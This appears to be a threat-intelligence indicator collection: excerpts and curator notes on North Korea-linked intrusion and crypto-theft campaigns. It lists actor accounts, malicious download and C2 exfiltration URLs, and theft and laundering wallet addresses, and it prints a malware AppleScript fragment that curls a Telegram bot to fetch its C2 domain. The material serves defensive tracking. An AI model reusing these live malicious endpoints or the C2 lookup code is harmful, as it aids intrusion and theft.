https://www.linkedin.com/in/linshuang-li-aa696391bb/ https://www.linkedin.com/in/rim…","…Actor-controlled LinkedIn profiles https://www.linkedin.com/in/james-williamson-55a9b81a6/ https://www.linkedin.com/in/guo-zhang-b152721bb/ https://www.linkedin.com/in/linshuang-li-aa69391bb/ Actor-controlled GitHub Accounts Further investigation revealed a number of…","…LinkedIn Accounts https://www.linkedin.com/in/billy-brown-a6678b1b8/ https://www.linkedin.com/in/guo-zhang-b152721bb/ https://www.linkedin.com/in/hyungwoo-lee-6985501b9/ https://www.linkedin.com/in/linshuang-li-aa696391bb/ https://www.linkedin.com/in/rimmer-trajan-2806b21bb/ Keybase…","…Actor-controlled LinkedIn profiles https://www.linkedin.com/in/james-williamson-55a9b81a6/ https://www.linkedin.com/in/guo-zhang-b152721bb/ https://www.linkedin.com/in/linshuang-li-aa69391bb/ Actor-controlled GitHub…","…LinkedIn profiles https://www.linkedin.com/in/james-williamson-55a9b81a6/ https://www.linkedin.com/in/guo-zhang-b152721bb/ https://www.linkedin.com/in/linshuang-li-aa69391bb/ Actor-controlled GitHub Accounts Further investigation revealed a number of GitHub accounts with names matching the Twitter handles…","…kedin.com/in/billy-brown-a6678b1b8/ https://www.linkedin.com/in/guo-zhang-b152721bb/ https://www.linkedin.com/in/hyungwoo-lee-6985501b9/ https://www.linkedin.com/in/linshuang-li-aa696391bb/ https://www.linkedin.com/in/rimmer-trajan-2806b21bb/ Keybase https://keybase.io/zhangguo Telegram https://t.me/james50d Sample…","…Burton, Technical Recruiter @ Malwarebytes - https://www.linkedin.com/in/evely-burton-204b29207/ Osman Demir, CEO @ SecuriElite - https://www.linkedin.com/in/osman-demir-307520209/ Piper Webster, Security Researcher - https://www.linkedin.com/in/piper-webster-192676203/ Sebastian Lazarescue, Security Researcher @…","…Demir, CEO @ SecuriElite - https://www.linkedin.com/in/osman-demir-307520209/ Piper Webster, Security Researcher - https://www.linkedin.com/in/piper-webster-192676203/ Sebastian Lazarescue, Security Researcher @ SecuriElite - https://www.linkedin.com/in/sebastian-lazarescue-456840209/ Email:…","…din.com/in/guo-zhang-b152721bb/ https://www.linkedin.com/in/hyungwoo-lee-6985501b9/ https://www.linkedin.com/in/linshuang-li-aa696391bb/ https://www.linkedin.com/in/rimmer-trajan-2806b21bb/ Keybase https://keybase.io/zhangguo Telegram https://t.me/james50d Sample Hashes…","…Security Researcher - https://www.linkedin.com/in/piper-webster-192676203/ Sebastian Lazarescue, Security Researcher @ SecuriElite - https://www.linkedin.com/in/sebastian-lazarescue-456840209/ Email: contact@securielite.com osman@securielite.com submit@securielite.com Attacker Owned Domains:…","Actor-controlled repository from Proofpoint's UNK_DeadDrop campaign of April to May 2026, in which recruitment and code-review phishing sent developers at close to a hundred organisations to repositories whose Visual Studio Code tasks ran a cross-platform loader. Proofpoint assesses the actor as very likely North Korea-aligned and notes tactical alignment with Contagious Interview without direct overlap in its own data, so the cluster is recorded as unattributed DPRK. Hosted on GitLab, so recorded as host/owner/repository.","Actor-controlled repository from Proofpoint's UNK_DeadDrop campaign of April to May 2026, in which recruitment and code-review phishing sent developers at close to a hundred organisations to repositories whose Visual Studio Code tasks ran a cross-platform loader. Proofpoint assesses the actor as very likely North Korea-aligned and notes tactical alignment with Contagious Interview without direct overlap in its own data, so the cluster is recorded as unattributed DPRK.","SOCRadar's Operation Conflict Compass report (28 September 2026) names this GitHub account as the threat actor's and lists its four repositories as the VelvetCake staging infrastructure: the first-stage okay.md and the task-scheduling script history, the two zipped LNK lures (A_Century_Long_Peace_Architecture_for_Russia-Ukraine_Introduction.pdf and CV_OlesiaTsvientukh_SocialResearcher_Sociologist_Qualitative), and the trojanized zoominstaller.exe. Read through the GitHub API on 1 October 2026: the account was created on 18 August 2026, all four repositories were still public, and every commit is authored as omski00@outlook.com, the address SOCRadar gives for the actor. Nothing was downloaded.","…<homedir>/<random_hex>.js File artifact Downloaded second-stage payload Package indicators Indicator Type Description easy-day-js npm package Malicious typosquat of dayjs sergey2016 npm account Publisher of easy-day-js ehindero npm account Compromised publisher of 140+…","…URL https://ausbildungsbuddy.de/modules/mod_mail/inc/get.php?ra=iew&zw=lk0100 Downloads malicious ZIP (di3726.zip).…","…URL https://ausbildungsbuddy.de/modules/mod_mail/src/upload.php C2 endpoint for data exfiltration.…","…erLink_Promeo_Downloader.exe URL CyberLink update URL used to deliver malicious installer https://cldownloader.github.io/logo.png URL Stage 2 staging URL https://i.stack.imgur.com/NDTUM.png URL Stage 2 staging URL https://www.webville.net/images/CL202966126.png URL…","…domain github.com — — domain api.github.com — — url https://gitlab.com/rabbit779/giraff88 Malicious — url https://gitlab.com/rabbit779/giraff88/-/raw/main/us8i.pdf?ref_type=heads…","…url https://gitlab.com/rabbit779/giraff88/-/raw/main/us8i.pdf?ref_type=heads Malicious — url https://gitlab.com/rabbit779/giraff88/-/raw/main/first.ini?ref_type=heads Malicious — url https://gitlab.com/rabbit779/giraff88/-/raw/main/help.ini?ref_type=heads…","…url https://gitlab.com/rabbit779/giraff88/-/raw/main/first.ini?ref_type=heads Malicious — url https://gitlab.com/rabbit779/giraff88/-/raw/main/help.ini?ref_type=heads Malicious — url https://github.com/mongdolma/kangkani Malicious —…","…— — url https://gitlab.com/rabbit779/giraff88 Malicious — url https://gitlab.com/rabbit779/giraff88/-/raw/main/us8i.pdf?ref_type=heads Malicious — url https://gitlab.com/rabbit779/giraff88/-/raw/main/first.ini?ref_type=heads…","…URL Post Compromise PowerShell backdoor download endpoint maskasd.com Domain Post Compromise C2 beacon domain https://maskasd.com/8555575039 URL Post Compromise C2 beacon endpoint File indicators Indicator Type Description…","…language for developing the malware, but have Chinese and some Japanese knowledge. Here are the translations, sorted by last edit time https://pastebin.com/1s0WPk2y .…","…WannaCry no more: ransomware worm IOC's, Tor C2 and technical analysis + SIEM rules 確認されているWannaCryの検体サンプル https://pastebin.com/BdyXWfgv WannaCryの各社の検体呼称 ベンダ 検出名 Microsoft Ransom: Win32/WannaCrypt TrendMicro RANSOM_WANA.A、RANSOM_WCRY.I…","…URL Full URL on the FLATROOF C2 host, as published by Zscaler delay.servehttp.com Domain ROOFDECK C2 https://pastebin.com/raw/3yptBDhL URL ROOFDECK signed C2 dead drop 176.97.114.232 IP AS6698; served MacOS.Backdoor.GetShell per RL…","…The list of specific domain names is as follows: https://pastebin.com/UV9pJN2M The SlowMist security team noticed the incident and immediately followed up with an in-depth analysis . By the way, the same North Korean…","…URL Payload download endpoint teams.onweblive.org Domain Post Compromise PowerShell backdoor delivery domain https://teams.onweblive.org/api/update/8555575039/4 URL Post Compromise PowerShell backdoor download endpoint maskasd.com Domain Post Compromise C2 beacon domain…","…China; Cheng Hung Man and a Hong Kong British National (Overseas) living in Hong Kong and an unknown user who used the online name “live:jammychen0150” (Chen).…","…Chinese national, Cheng Hung Man (“Cheng”), a Hong Kong British National living in Hong Kong, and an unknown user of the online moniker “live:jammychen0150\" (“Chen”), to launder stolen cryptocurrency and use the funds to purchase goods through Hong Kong-based front companies for the benefit of…","…흥미로운 점은 이 사람이 한국어로 글을 올리고 있었다는 점이며, 스카이프 계정으로 'live:rjh917'을 사용하고 있다는 것입니다.…","…by IndiaOutCamp_BD Tweets by rupom Telegram Channels recently Participating in Campaign Against India https://t.me/systemadminbd https://t.me/IndiaOutbd Hashtags used in India out Campaign : #Indiaout #BoycottIndia #OpIndia #BoycottIndianProducts #SaveBangladeshFromIndia Possible…","…Keybase https://keybase.io/zhangguo Telegram https://t.me/james50d Sample Hashes https://www.virustotal.com/gui/file/4c3499f3cc4a4fdc7e67417e055891c78540282dccc57e37a01167dfe351b244/detection (VS…","…activedomain: \"\" property BuildTXD: \"9e410d7320e53cfa145597824b9f6060\" on setdomain() try set domain to do shell script \"curl -s https://t.me/phefuckxiabot | sed -n 's/.*<span dir=\\\"auto\\\">\\\\([^<]*\\\\)<\\\\/span>.*/\\\\1/p'\" set urlresult to \"http://\" & domain & \"/api.php?check=1\" set actualurl…","…by RussellAnamul Tweets by IndiaOutCamp_BD Tweets by rupom Telegram Channels recently Participating in Campaign Against India https://t.me/systemadminbd https://t.me/IndiaOutbd Hashtags used in India out Campaign : #Indiaout #BoycottIndia #OpIndia #BoycottIndianProducts…","…Some of the stolen funds on Tron were sent to CEXs . Attacker’s main addresses: ETH 0x040a96659fd7118259ebcd547771f6ecb9580d17 0x6d2e8a20b8afa88d92406d315b67822c01e53c38 0xde374094C837D192B61972172740BDAfc4eE16E0 TRON TKSitnfTLVMRbJsF1i2UH5hNUeHLDrXDiY…","…fork its token in an effort to prevent the attacker from further selling PRQ tokens and further protect users funds. Theft address 0x044bf69ae74fcd8d1fc11da28adbad82bbb42351 1GVjvbVEYPkjCYCwJkC29t5pBWAQQd1g32 Source: https://t.me/coinmetroupdates/601 On-chain aspects Funds from thefts such as…","…address 0xad6a4ace6dcc21c93ca9dbc8a21c7d3a726c1fb1 0x03e89f2e1ebcea5d94c1b530f638cea3950c2e2b 0x09923e35f19687a524bbca7d42b92b6748534f25 0x0784051d5136a5ccb47ddb3a15243890f5268482 0x0adab45946372c2be1b94eead4b385210a8ebf0b Source: https://x.com/hughkarp/status/1341063567408328705 From December 16–17, 2020 the…","…The Office of Foreign Assets Control (OFAC) added an Ethereum wallet address ( 0x098B716B8Aaf21512996dC57EB0615e2383E2f96) associated with Lazarus to its sanctions list.…","…ETH theft address 0xad6a4ace6dcc21c93ca9dbc8a21c7d3a726c1fb1 0x03e89f2e1ebcea5d94c1b530f638cea3950c2e2b 0x09923e35f19687a524bbca7d42b92b6748534f25 0x0784051d5136a5ccb47ddb3a15243890f5268482 0x0adab45946372c2be1b94eead4b385210a8ebf0b Source:…","…attacker profile (which displays totals of $59.2M, $48.6M, $18.6M held on the three chains, respectively). Main attacker address (ETH): 0x0a5984f86200415894821bfefc1c1de036dbf9e7 Main attaker address (TRON): TKK6d1YALy8HCSoCSWWd1ZJhyC9NPPx4wa Main attaker address (BTC): bc1qnpc7u2ha7ct9c458rrqsawylz9e9j6jvkvzttt…","…involved with the hack. Theft addresses: 0x74487eed1e67f4787e8c0570e8d5d168a05254d4 0xafad9352eb6bcd085dd68268d353d0ed2571af89 0x0ACC0e5faA09Cb1976237c3a9aF3D3d4b2f35FA5 0x967bb571f0fc9ee79c892abf9f99233aa1737e31 0x6abcA33faeb7deb1E61220e31054f8d6Edacbc81 0x1ae8840ceaef6eec4da1b1e6e5fcf298800b46e6…","…0x03e89f2e1ebcea5d94c1b530f638cea3950c2e2b 0x09923e35f19687a524bbca7d42b92b6748534f25 0x0784051d5136a5ccb47ddb3a15243890f5268482 0x0adab45946372c2be1b94eead4b385210a8ebf0b Source: https://x.com/hughkarp/status/1341063567408328705 From December 16–17, 2020 the attacker deposited 137.1 BTC into the…","…DAI, USDT, and USDC. The attackers transferred the stolen crypto in 9 transactions from the Horizon bridge to this address: H1 - 0x0d043128146654c7683fbf30ac98d7b2285ded00 They then moved the stolen crypto assets to the following addresses: H2 - 0x9E91ae672E7f7330Fc6B9bAb9C259BD94Cd08715 H3 -…","…access to the two addresses necessary to pass any transactions they like, such as draining $100M from the bridge. Exploiter address: 0x0d043128146654c7683fbf30ac98d7b2285ded00 Harmony ETH Bridge: 0xf9fb1c508ff49f78b60d3a96dea99fa5d7f3a8a6 Harmony ERC20 Bridge: 0x2dCCDB493827E15a5dC8f8b72147E6c4A5620857…","…0xAa843eD65C1f061F111B5289169731351c5e57C1 0xD3FEEd5DA83D8e8c449d6CB96ff1eb06ED1cF6C7 0xbDdAE987FEe930910fCC5aa403D5688fB440561B 0x0FE3b6908318B1F630daa5B31B49a15fC5F6B674 Attacker Account Solana HkGz4KmoZ7Zmk7HN6ndJ31UJ1qZ2qgwQxgVqQwovpZES H7PiGqqUaanBovwKgEtreJbKmQe6dbq6VTrw6guy7ZgL Drift…","…0xD3FEEd5DA83D8e8c449d6CB96ff1eb06ED1cF6C7 0xAa843eD65C1f061F111B5289169731351c5e57C1 0xbDdAE987FEe930910fCC5aa403D5688fB440561B 0x0FE3b6908318B1F630daa5B31B49a15fC5F6B674 Three weeks of preparation.…","The researcher reports that the Arbitrum Security Council, on which he is a signer, froze about $30.5M from the Binance exploit held at the first address, which he names as the exploiter's, and later that funds from the $6.3B Binance exploit and the $388M Bitget exploit were commingled at the second address after arriving through THORChain. He writes that this indicates the same actor is likely behind both incidents, that the Bitget exploit was attributed to the DPRK-linked TraderTraitor, and in a reply in the same thread that the Binance exploit is likely Lazarus Group. On 12 November 2026 the Justice Department announced that the FBI attributes the theft of about $6 billion from Binance on or about 29 October to the North Korean actors it calls TraderTraitor (https://www.justice.gov/opa/pr/justice-department-announces-actions-disrupt-north-koreas-massive-theft-cryptocurrency); the addresses themselves are the researcher's. Another researcher, tanuki42, replying the same day (https://x.com/tanuki42_/status/2116030971925475471), judges the commingling address more likely a third-party laundering service handling the proceeds of both thefts, predominantly Chinese money-laundering organisations, than an account controlled by North Korea; the second address may therefore belong to launderers rather than operators. Read on 12 November 2026 with the thread and its replies; no reply adds a value.","The researcher describes posing as a client, from March 2025, of a Chinese over-the-counter laundering syndicate that told him it had moved most of the $1.5B taken from Bybit in February 2025, an exploit attributed to the North Korean group TraderTraitor. His contact used the alias Jimmy Green on Telegram (account ID 7635649994) and gave him these Ethereum, Tron and Solana addresses for the swaps; the first Ethereum address was funded with gas from an address on the public Bybit exploit blacklist, the three Solana addresses exposed a cluster of more than $12M of exploit funds swapped from Bitcoin through Ethereum and Solana to Tron, and 0x652d7f9e... is the address Tether froze 442K USDT at. The addresses belong to the launderers rather than to North Korean operators, which is why they are recorded without a persona. The Telegram username printed in the thread is not carried: in a reply the researcher says the account was deleted earlier in 2026 and someone else has since claimed the username, so it would now point at an unrelated account. His own funding address in the fourth post is not an indicator and is not carried either. Read on 26 October 2026, all 12 posts of the thread and the 121 replies; no reply adds a value.","…0x0ACC0e5faA09Cb1976237c3a9aF3D3d4b2f35FA5 0x967bb571f0fc9ee79c892abf9f99233aa1737e31 0x6abcA33faeb7deb1E61220e31054f8d6Edacbc81 0x1ae8840ceaef6eec4da1b1e6e5fcf298800b46e6 Connections between theft addresses The Bondly attacker was directly connected to the bZx hack from November 2021 as the 0xc43 theft…","…They then transferred the clean ETH back to H1 . Following this the attackers transferred 18K+ in ETH from H1 to a new address: H4 - 0x1Ec6F83b55C3F4CeFc630442716872BA15f16430 They transferred those funds to three new addresses: H5 - 0x4507AC1bdF4Ae5E61ffceC3A9AEDA312E2505970 H6 -…","…the full access/approvals feature, allowing them to drain the liquidity pools. • Attacker address (into which funds were drained): 0x2744d62a1e9ab975f4d77fe52e16206464ea79b7 • The stolen funds were bridged back to Ethereum, swapped for Ether (ETH) and transferred to other addresses. Figure 2: Merlin…","…deposit address: 0x246569f8b420c8d850c475c53d0d59973b3f08fc 0x593dc5e1ad81667bbfc90739dd2c09c926920e3b Noones deposit address: 0x2e1155cf5374cba058a04fd03ebd0ba19afe580d Transfer funds from theft to OTC trader Additionally, in 2021 multiple transfers were made from the 0x9973 address to Wu Huihui, a…","…9,109 ETH, was then transferred to Ethereum address 0xb0606f433496bf66338b8ad6b6d51fc4d84a44cd (0xb0606f) and to Ethereum address 0x3089df0e2349faea1c8ec4a08593c137da10fe2d (0x3089df).…","…Coinberry, and multiple individual thefts on-chain as addresses from each incident transfer ETH to 0x3149 in March-April 2021. 0x31499e03303dd75851a1738e88972cd998337403 TRM forensics graph April 2021 — Laundering From April 20–21, 2021 a total of 209.64 BTC from the theft address was bridged…","…threat actor group. The following addresses demonstrate the overlap between all attacks: Phemex & ByBit Attack Overlap address: 0x33d057af74779925c4b2e720a820387cb89f8f65 0x33d057af74779925c4b2e720a820387cb89f8f65 { copied = false })\" class=\"absolute top-2 right-3 size-7 copy-code-button\"> Bybit hack…","…1.78M USDC, and 62.2K $LINK ($870k). HECO attacker address: 0xfc146d1caf6ba1d1ce6dcb5b35dcbf895f50b0c4 Compromised operator address: 0x3d655889d197125fb90dcb72e4a287a8410ed1b9 HECO Bridge address: 0xa929022c9107643515f5c777ce9a910f0d1e490c HTX hot wallet 1 (ETH): 0xb9f775179bcc7fcf4534700a48f09c590e390ead…","…admin address on Arbitrum was used to upgrade DeltaPrime's proxy contracts to a malicious contract. Compromised Admin Address: 0x40E4172e595Fb5B3076dC6d0A1a24d885b881Afb DeltaPrime’s Compromised Proxy Admin Address: 0xd550cfeA0BFFDC81B2dEe7B6d915D9D9e31d83A2 This nefarious upgrade allowed the…","…Once again they split those funds across three new addresses: H9 - 0x89f89D61644c6e606efb25A01210159f102FbD8b H10 - 0x40eFc580e5cb5701797a762990D9E690108DADfD H11 - 0x20dBCcD46eEF96A1b78383Cf0D26bB575EC00201 And ultimately again transferred the majority of the funds in these three addresses to…","…They transferred those funds to three new addresses: H5 - 0x4507AC1bdF4Ae5E61ffceC3A9AEDA312E2505970 H6 - 0x432A9Cb4353bed67EC5351734d4a44C0826847Ae H7 - 0x8a0858888bEEb5D1435Ecd3657831699f169c3f4 And then transferred the majority of the funds from those addresses to coin mixer Tornado…","…2020. On-chain aspects $6M of USD/DAI/USDT of liquidity was removed from protocol pools and 2.98M EASY was transferred to 0x4371 0x437147DA920714feC4822F0666D940945f9c972B The attacker can be linked to Nexus Mutual, CoinMetro, Unibright, Coinberry, and multiple individual thefts on-chain as addresses from…","…ETH from H1 to a new address: H4 - 0x1Ec6F83b55C3F4CeFc630442716872BA15f16430 They transferred those funds to three new addresses: H5 - 0x4507AC1bdF4Ae5E61ffceC3A9AEDA312E2505970 H6 - 0x432A9Cb4353bed67EC5351734d4a44C0826847Ae H7 - 0x8a0858888bEEb5D1435Ecd3657831699f169c3f4 And then transferred the majority of the…","…four cryptocurrency addresses extracted from the Lazarus BTC Changer samples used by the attackers to receive stolen funds are: 0x460ab1c34e4388704c5e56e18D904Ed117D077CC 1Gf8U7UQEJvMXW5k3jtgFATWUmQXVyHkJt 1MQC6C4FVX8RhmWESWsazEb5dyDBhxH9he 1DjyE7WUCz9DLabw5EWAuJVpUzXfN4evta Group-IB analyzed the…","…drained a total of $54.3M via the following addresses: ETH 1 ($10.4M): 0x8bf8cd7F001D0584F98F53a3d82eD0bA498cC3dE ETH 2 ($2.3M): 0x483D88278Cbc0C9105c4807d558E06782AEFf584 ETH 3 ($5.3M): 0xCC1AE485b617c59a7c577C02cd07078a2bcCE454 TRON ($11.5M): TPFUjxQzG88Vwynrpj2W61ZAkQ9W2QYgAQ BSC ($6.3M):…","…The main drain, 20:24:23 0xafbf94c92a8d749988411669fa14d4f8866d9b4420b4ebd299f28e958dac7209 Binance revokes the approval, 00:10:35 0x5227f603c1ee34ce3c06efe6477003bdfccb2f8c Main receiver, holds the frozen stablecoins 0xa97bf7836f8a08f9ed91d41453d371493fae8d10 Second receiver…","…They then moved the stolen crypto assets to the following addresses: H2 - 0x9E91ae672E7f7330Fc6B9bAb9C259BD94Cd08715 H3 - 0x58F4BACcb411ACef70A5f6DD174Af7854fc48Fa9 The attackers then converted the stolen crypto assets from H2 and H3 into ETH via multiple smart contract calls.…","…and Kelp Gain vaults affected Paused deposits and withdrawals At the time of writing, the stolen funds remain in the attacker’s EOA ( 0x5d3919F12bCc35c26Eee5F8226A9bee90c257Ccc ), held in native ETH on both the Ethereum and Arbitrum networks. Post Attack Mitigation At T+46 min (18:21 UTC) emergency pauser…","…Binance wallet the USDC came from 0x7c8601d4645b93cea45f71e118a729332e6b5ca0 The attacker's caller wallet 0x63e842b054bd624a465454d533c33f573e9c6fae The code Binance 14 was made to run 0xad99264d5532ae0dd04b2004eebda05f25657e70dacb764f7ac8d4ccd051298b The setup with 50 approvals,…","…and staging wallet: 0x9e995952eF7665B243eeEF0693acD7FEd7150504 Attacker Wallets (BSC) BSC attacker (minted 122B+ H): 0x6Aa22CB8420E94Fc2119364b4c7885710aE753bB H Token Contract (ETH and BSC, same address) 0x44F161aE29361E332dEA039DFA2F404E0bC5B5Cc ProxyAdmin (ETH and BSC, same address)…","…transaction 0xb5cb1f2e0e246fcdde9ddaa7f36037341948158f4c4a0c3ec6fea121cbf0194b, then minted about 100 million new $H to a new address (0x6Aa22CB8420E94Fc2119364b4c7885710aE753bB).…","…0xafad9352eb6bcd085dd68268d353d0ed2571af89 0x0ACC0e5faA09Cb1976237c3a9aF3D3d4b2f35FA5 0x967bb571f0fc9ee79c892abf9f99233aa1737e31 0x6abcA33faeb7deb1E61220e31054f8d6Edacbc81 0x1ae8840ceaef6eec4da1b1e6e5fcf298800b46e6 Connections between theft addresses The Bondly attacker was directly connected to the…","…The attacker immediately swapped the assets for ETH on decentralized exchanges. Theft address 0x6C6357F30FCc3517c2E7876BC609e6d7d5b0Df43 Source: https://twitter.com/Sjaaaakster/status/1304531302255910912 Source: https://t.me/unibright_io/211959 CoinMetro…","…Some of the stolen funds on Tron were sent to CEXs . Attacker’s main addresses: ETH 0x040a96659fd7118259ebcd547771f6ecb9580d17 0x6d2e8a20b8afa88d92406d315b67822c01e53c38 0xde374094C837D192B61972172740BDAfc4eE16E0 TRON TKSitnfTLVMRbJsF1i2UH5hNUeHLDrXDiY TDoNAZHa7WxarUAFbQUhiijTGtd7EpbzRh…","…The first transaction is inbound from 0x6EFB29CEe3b414272EB7A8F3Ebabf873D36bC033 and transfers 0.05 ETH to the address responsible for creation of the contract.…","…The addresses receiving the stolen funds are on Bitget’s published list. Primary attacker receiving addresses, per Bitget : EVM: 0x770b10b273fC44Fe9197D6bF20F145c2e98463Ee XRP: rwNhefsz1UQEusxhCvHip3RANinWi4CTck ZEC: t1WgMdtND8NF7NDUuYmq8MpMj1NTCXkMDVG TRON: TBWNguTTgezw9dVorX441C6nDrZpRxYwKD…","…Second Binance hot wallet drained at 20:24 0xee7ae85f2fe2239e27d9c1e23fffe168d63b4055 Binance wallet the USDC came from 0x7c8601d4645b93cea45f71e118a729332e6b5ca0 The attacker's caller wallet 0x63e842b054bd624a465454d533c33f573e9c6fae The code Binance 14 was made to run…","…was secured by a 2 of 5 multisig , of which the following addresses were compromised: 0xf845A7ee8477AD1FB4446651E548901a2635A915 0x812d8622C6F3c45959439e7ede3C580dA06f8f25 The attack vector which allowed the hacker to take control of these addresses remains unknown, though some have speculated that they were…","…in ETH from H1 to: H8 - 0x8a0858888bEEb5D1435Ecd3657831699f169c3f4 Once again they split those funds across three new addresses: H9 - 0x89f89D61644c6e606efb25A01210159f102FbD8b H10 - 0x40eFc580e5cb5701797a762990D9E690108DADfD H11 - 0x20dBCcD46eEF96A1b78383Cf0D26bB575EC00201 And ultimately again transferred the…","…funds to three new addresses: H5 - 0x4507AC1bdF4Ae5E61ffceC3A9AEDA312E2505970 H6 - 0x432A9Cb4353bed67EC5351734d4a44C0826847Ae H7 - 0x8a0858888bEEb5D1435Ecd3657831699f169c3f4 And then transferred the majority of the funds from those addresses to coin mixer Tornado Cash. The attackers also moved 18K+ in ETH from…","…to the attacker, pending Arbitrum governance action. Relevant Address and Transactions Attacker EOAs (rsETH Receiver) 0x8b1b6c9a6db1304000412dd21ae6a70a82d60d3b 0x8d11aeac74267dd5c56d371bf4ae1afa174c2d49 (Hold all hacked assets) 0x5d3919F12bCc35c26Eee5F8226A9bee90c257Ccc…","…be shared with the community as swiftly as possible. Attackers drained a total of $54.3M via the following addresses: ETH 1 ($10.4M): 0x8bf8cd7F001D0584F98F53a3d82eD0bA498cC3dE ETH 2 ($2.3M): 0x483D88278Cbc0C9105c4807d558E06782AEFf584 ETH 3 ($5.3M): 0xCC1AE485b617c59a7c577C02cd07078a2bcCE454 TRON ($11.5M):…","…currency on the Ethereum blockchain (both USDC and ETH) valued at approximately $14 million and sent it to virtual currency address 0x8d08aad4b2bac2bb761ac4781cf62468c9ec47b4 (0x8d08aa).…","…action. Relevant Address and Transactions Attacker EOAs (rsETH Receiver) 0x8b1b6c9a6db1304000412dd21ae6a70a82d60d3b 0x8d11aeac74267dd5c56d371bf4ae1afa174c2d49 (Hold all hacked assets) 0x5d3919F12bCc35c26Eee5F8226A9bee90c257Ccc 0xcbb24a6b4dafaaa1a759a2f413ea0eb6ae1455cc…","…Aave Borrowing Wallet: 0x8d53903625b8e839b9DF4bd28B0EFb1CD6b8639A The stablecoins became collateral; borrowed WETH came out.…","…Main receiver, holds the frozen stablecoins 0xa97bf7836f8a08f9ed91d41453d371493fae8d10 Second receiver 0x8d53903625b8e839b9df4bd28b0efb1cd6b8639a Wallet with the Aave loan, frozen by Tether at 21:02:47 0x65bd82f19985a569ef87b3926dd5f2247ba7bd06640141060f1b2d9ddedec3f6 Its 50M…","…0xB0A2e43D3E0dc4C71346A71484aC6a2627bbCbeD Optimism ($900k): 0x3B8F1131a20e131c195bdA6FDd6e9bE38935eB6d Polygon ($6.8m): 0x90fffbc09e9a5f6d035e92d25d67e244ef5e904f Tron ($2.55m): TBooefeY6FvGuyKfvp5yE1HmzhzvXnvA1P BTC ($1.4m): bc1q5uqpn0ha5llrvhcvkq3nfalp8fj7qe3rydcvmf In this game of cat…","…HTX hot wallet 1 (ETH): 0xb9f775179bcc7fcf4534700a48f09c590e390ead HTX hot wallet 2 (other assets): 0x9281035df6f00557c0285d7df21d323c2e2f99ad HTX attacker 1 (ETH): 0x5a22f867dfcb4f32d25a5fa365b9d9d78d5515dc HTX attacker 2 (other assets):…","…as North Korea’s laundering methodologies evolve so must the tools investigators rely on. Addresses identified in the FBI release: 0x94f1b9b64e2932f6a2db338f616844400cd58e8a 0xba36735021a9ccd7582ebc7f70164794154ff30e 0xbda83686c90314cfbaaeb18db46723d83fdf0c83…","…0x74487eed1e67f4787e8c0570e8d5d168a05254d4 0xafad9352eb6bcd085dd68268d353d0ed2571af89 0x0ACC0e5faA09Cb1976237c3a9aF3D3d4b2f35FA5 0x967bb571f0fc9ee79c892abf9f99233aa1737e31 0x6abcA33faeb7deb1E61220e31054f8d6Edacbc81 0x1ae8840ceaef6eec4da1b1e6e5fcf298800b46e6 Connections between theft addresses The…","…The remaining 1 X 100,000 DAI withdrawal was made to 0x996f. 0xd7589fdf5c035ce5d432e5af64b13b77802b7451315f460ce1bda8a4e7c89240 0x996f5ccbf2856137744603b382de559b78a096fc TRM forensics graph The Tornado Cash 100,000 DAI pool sees little activity and the 52 deposits made by the Bondly attacker…","…2024 Steadefi On-Chain Aspects In a post on X (formerly Twitter) the Steadefi team shared the wallet of the attacker. Theft address 0x9cf71f2ff126b9743319b60d2d873f0e508810dc Coinshift Incident Summary While no public statements have been made about the incident, due to the sudden transfers of assets from…","…address: H1 - 0x0d043128146654c7683fbf30ac98d7b2285ded00 They then moved the stolen crypto assets to the following addresses: H2 - 0x9E91ae672E7f7330Fc6B9bAb9C259BD94Cd08715 H3 - 0x58F4BACcb411ACef70A5f6DD174Af7854fc48Fa9 The attackers then converted the stolen crypto assets from H2 and H3 into ETH via…","…(ETH) ETH attacker (received 141M H from bridge drain): 0xD1ea823D421E0c829ee11F772AF487fd352678EA Aggregation and staging wallet: 0x9e995952eF7665B243eeEF0693acD7FEd7150504 Attacker Wallets (BSC) BSC attacker (minted 122B+ H): 0x6Aa22CB8420E94Fc2119364b4c7885710aE753bB H Token Contract (ETH and BSC,…","TRM Labs' analysis of the Bitget hot-wallet theft of 24 September 2026 names this as the second Ethereum wallet the stolen funds passed through, which distributed its balance to newly created wallets over about two hours; the first, 0x770b10b273fc44fe9197d6bf20f145c2e98463ee, is on Bitget's own list of attacker receiving addresses. The scraper read the report but the sentence carries none of the words its wallet guard requires, so the address is recorded here. TRM called the attribution likely but not definitive; Chainalysis attributed the theft to DPRK actors on 1 October 2026 (https://www.chainalysis.com/blog/387m-bitget-theft-2026).","…malware uses two Polygon NFT contracts as payload storage: Contract Addresses: 0xad031E8d8877481337cD53E141C16A2201BB6F4d 0xa80db78ff597c3D34cCAF3bdaC39f3E193595561 Each contract implements a getMemo() function that returns obfuscated JavaScript: const CONTRACT_ABI = [ \"function getMemo()…","…Compromised operator address: 0x3d655889d197125fb90dcb72e4a287a8410ed1b9 HECO Bridge address: 0xa929022c9107643515f5c777ce9a910f0d1e490c HTX hot wallet 1 (ETH): 0xb9f775179bcc7fcf4534700a48f09c590e390ead HTX hot wallet 2 (other assets):…","…Binance revokes the approval, 00:10:35 0x5227f603c1ee34ce3c06efe6477003bdfccb2f8c Main receiver, holds the frozen stablecoins 0xa97bf7836f8a08f9ed91d41453d371493fae8d10 Second receiver 0x8d53903625b8e839b9df4bd28b0efb1cd6b8639a Wallet with the Aave loan, frozen by Tether at 21:02:47…","…in an April 1st attack compromising devices and draining funds. Relevant Address and Transactions Attacker EOAs Ethereum 0xAa843eD65C1f061F111B5289169731351c5e57C1 0xD3FEEd5DA83D8e8c449d6CB96ff1eb06ED1cF6C7 0xbDdAE987FEe930910fCC5aa403D5688fB440561B 0x0FE3b6908318B1F630daa5B31B49a15fC5F6B674…","…stolen funds into ETH across four receiving addresses . Attacker EOAs on Ethereum: 0xD3FEEd5DA83D8e8c449d6CB96ff1eb06ED1cF6C7 0xAa843eD65C1f061F111B5289169731351c5e57C1 0xbDdAE987FEe930910fCC5aa403D5688fB440561B 0x0FE3b6908318B1F630daa5B31B49a15fC5F6B674 Three weeks of preparation.…","…C2, the malware retrieves data from an Ethereum smart contract on the Arbitrum Sepolia testnet using the hardcoded contract address 0xAD02b5cDE693529d3bdA0266299501ad0193036C , then: Retrieves the private key for a shared Ethereum wallet. Decrypts the private key using a key derived from the same material…","…per deployment Technical Implementation The malware uses two Polygon NFT contracts as payload storage: Contract Addresses: 0xad031E8d8877481337cD53E141C16A2201BB6F4d 0xa80db78ff597c3D34cCAF3bdaC39f3E193595561 Each contract implements a getMemo() function that returns obfuscated JavaScript:…","…The Ethereum hot wallet lost 6968 ETH and 3.4M USDC and the Bitcoin hot wallet lost 691 